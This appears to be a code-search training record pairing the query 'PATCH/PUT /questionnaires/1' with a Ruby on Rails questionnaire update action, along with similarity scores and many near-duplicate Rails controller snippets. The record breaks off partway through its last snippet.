respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'La pregunta fue creado correctamente.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(params, answer_sheet)\n questions_indexed = @questions.index_by(&:id)\n\n # loop over form values\n params ||= {}\n params.each do |question_id, response|\n next if questions_indexed[question_id.to_i].nil? # the rare case where a question was removed after the app was opened.\n # update each question with the posted response\n questions_indexed[question_id.to_i].set_response(posted_values(response), answer_sheet)\n end\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def question_params\n params.require(:question).permit(:title, :body, :answer, :tag_list, :slug)\n end", "def question_params\n params.require(:question).permit(\n :title,\n :question_type,\n :created_at,\n :updated_at,\n :muted_text,\n :placeholder,\n :step,\n :ordering,\n :form_id,\n :has_optional_answer,\n :is_group_view,\n answers_attributes: [:answer, :_destroy, :id]\n )\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, :body, :answer)\n end", "def create\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n @answer = @question.answers.build(params[:answer])\n @answer.user_id = @current_user.id\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def answer_params\n params.require(:answer).permit(:body, :question_id, :status)\n end", "def question_params\n params.require(:question).permit(\n :title,\n :order,\n :answer_ids => [],\n )\n end", "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Тест добавлен.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6628127", "0.6516484", "0.6485117", "0.6454647", "0.6394063", "0.6381477", "0.63798666", "0.63659567", "0.63437366", "0.6333206", "0.63324606", "0.62913746", "0.6288558", "0.6235486", "0.6231012", "0.6214164", "0.6159615", "0.614689", "0.6143025", "0.61364704", "0.6117868", "0.6110644", "0.6106414", "0.6095363", "0.6092998", "0.6085435", "0.6077123", "0.6077123", "0.6077123", "0.6067746", "0.606558", "0.60582787", "0.60560787", "0.6051984", "0.60462916", "0.60384214", "0.6036347", "0.60152876", "0.6009347", "0.59973085", "0.5997101", "0.5987082", "0.598304", "0.59481144", "0.5944233", "0.59416026", "0.59409505", "0.59285533", "0.5922053", "0.59180796", "0.59015775", "0.5900209", "0.5897306", "0.58949447", "0.58914924", "0.5888257", "0.5876245", "0.58753574", "0.58677536", "0.5866731", "0.58629", "0.5856625", "0.58553094", "0.5855236", "0.58532095", "0.58480036", "0.5846551", "0.58460194", "0.5844278", "0.5842111", "0.5837559", "0.583559", "0.58347464", "0.58286995", "0.5826003", "0.5824188", "0.58197457", "0.5817", "0.58140075", "0.5811226", "0.5804927", "0.58042437", "0.57998145", "0.5798417", "0.57838297", "0.5782844", "0.57778907", "0.5776805", "0.5756538", "0.5755035", "0.5754114", "0.5753937", "0.5753441", "0.5749935", "0.57491314", "0.57491213", "0.57487994", "0.574301", "0.57421726", "0.5739545" ]
0.6585721
1
PATCH/PUT /questionnaires/1 PATCH/PUT /questionnaires/1.json
def update respond_to do |format| if @questionnaire.update(questionnaire_params) format.html { redirect_to @questionnaire, notice: 'Тест успешно обновлен.' } format.json { render :show, status: :ok, location: @questionnaire } else format.html { render :edit } format.json { render json: @questionnaire.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end", "def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end", "def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end", "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end", "def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end", "def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_question\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\t@found = 0\n\t\t\tquizzes.each do |quiz|\n\t\t\t\tif(quiz.questions.exists?(:id => params[:question_id]))\n\t\t\t\t\t@found = @found + 1\n\t\t\t\tend \n\t\t\tend\n\t\t\tif (@found > 0)\n\t\t\t\tquestion = Question.find(params[:question_id])\n\t\t\t\tif (question.update(question_params))\n\t\t\t\t\trender json: { success: true, data: { :question => question }, info:{} }, status: 200\n\t\t\t\telse\n\t\t\t\t\trender json: { error: question.errors }, status: 422 \n\t\t\t\tend\t\n\t\t\telse\n\t\t\t\trender json: { error:\"Question is not found\" }, status: 422\n\t\t\tend\n\t\tend", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'La pregunta fue modificada correctamente.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to quiz_path(@question.subsection_id), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_question_content\n question_params = params.require(:question).permit(:id, :content)\n\n render json: Question.update_question_content(question_params)\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @question.status == 'published' || @question.version_independent_id != question_params[:version_independent_id]\n render json: @question.errors, status: :unprocessable_entity\n else\n update_response_sets(params)\n @question.update_concepts('Question')\n @question.updated_by = current_user\n if @question.update(question_params)\n @question.groups.each do |group|\n @question.add_to_group(group.id)\n end\n render :show, status: :ok, location: @question\n else\n @categories = Category.all\n render json: @question.errors, status: :unprocessable_entity\n end\n end\n end", "def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n qp = question_params\n if qp[:question_type] == \"vignette\" or qp[:question_type] == \"nonchoice\"\n qp[:answer] = \"\"\n end\n\n respond_to do |format|\n if @question.update(qp)\n format.html { redirect_to paper_questions_path(question_params[:paper_id],question_params[:id]), notice: '題目已被成功編輯' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { redirect_to edit_paper_question_path, notice: '上傳檔案大小不可超過500KB' }\n format.json { render json: paper_questions_path.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @questionary.update(questionary_params)\n\t\t\t\tformat.html { redirect_to @questionary, notice: 'Questionary was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @questionary }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @questionary.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, :notice =>'Question was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @question }\n else\n format.html { render :edit }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question.course, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to edit_question_path(@question), notice: 'Question was successfully updated.' }\n format.json\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer.update(answer_params)\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to [@category, @question], notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n if @questionset.update_attributes(params[:questionset])\n format.html { redirect_to @questionset, notice: 'Questionset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t@question = Question.find(params[:id])\n\t@questionnaire_question=QuestionnaireQuestion.find_by_question_id(@question.id)\n\t@questionnaire=Questionnaire.find(@questionnaire_question.questionnaire_id)\n\n\trespond_to do |format|\n\t if @question.update_attributes(params[:question])\n\t#\tformat.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n\t\tformat.html { redirect_to new_question_path(:questionnaire_id=>@questionnaire.id), :notice => 'Answer was successfully Saved.' }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def update\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n if @question_set.update_attributes(params[:question_set])\n format.html { redirect_to @question_set, notice: 'Question set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"Question was successfully updated.\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to company_questionnaire_path(@questionnaire.company, @questionnaire), notice: 'Questionnaire was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n flash[:danger] = @questionnaire.errors.full_messages.join(', ')\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to :planner, notice: 'Question was successfully updated.' }\n format.json { respond_with_bip(@question) }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n format.js { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n format.js { head :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n @question_link = QuizQuestion.find_by_id(@question.questionid)\n @question_link.update(:points => params[:points])\n @quiz = Quiz.find_by_id(@question_link.quizid)\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire = current_questionnaire\n @questionnaire.step += 1\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to new_questionnaire_path }\n # format.json { head :no_content }\n else\n format.html { render \"questionnaires/steps/step#{@questionnaire.step - 1}\" }\n # format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionario_resposta.update(questionario_resposta_params)\n format.html { redirect_to @questionario_resposta, notice: 'Questionario resposta was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionario_resposta }\n else\n format.html { render :edit }\n format.json { render json: @questionario_resposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end", "def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n format.html { redirect_to @faq, notice: 'FAQ atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @subjects = Subject.all\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # before_action :set_question\n #before_action :set_tag\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"更新しました\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to questions_url, notice: 'Answer edited.' }\n else\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer.question, notice: 'Respuesta actualizada satisfactoriamente' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = current_user.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.json { head :no_content }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n if @quest.update_attributes(params[:quest])\n format.html { redirect_to @quest, notice: 'Quest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@question = Question.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @question.update_attributes(params[:question])\n\t\t\t\tformat.html { redirect_to @question, notice: 'Question was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @question.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if 